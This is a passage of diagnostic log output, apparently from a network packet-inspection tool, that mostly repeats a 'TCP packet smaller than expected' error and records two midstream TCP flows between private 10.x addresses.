ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....14] [ip4][..tcp] [.......10.0.0.2][17458] -> [.....10.128.0.2][10790] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....15] [ip4][..tcp] [.......10.0.0.2][.2612] -> [.....10.128.0.2][12849] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP 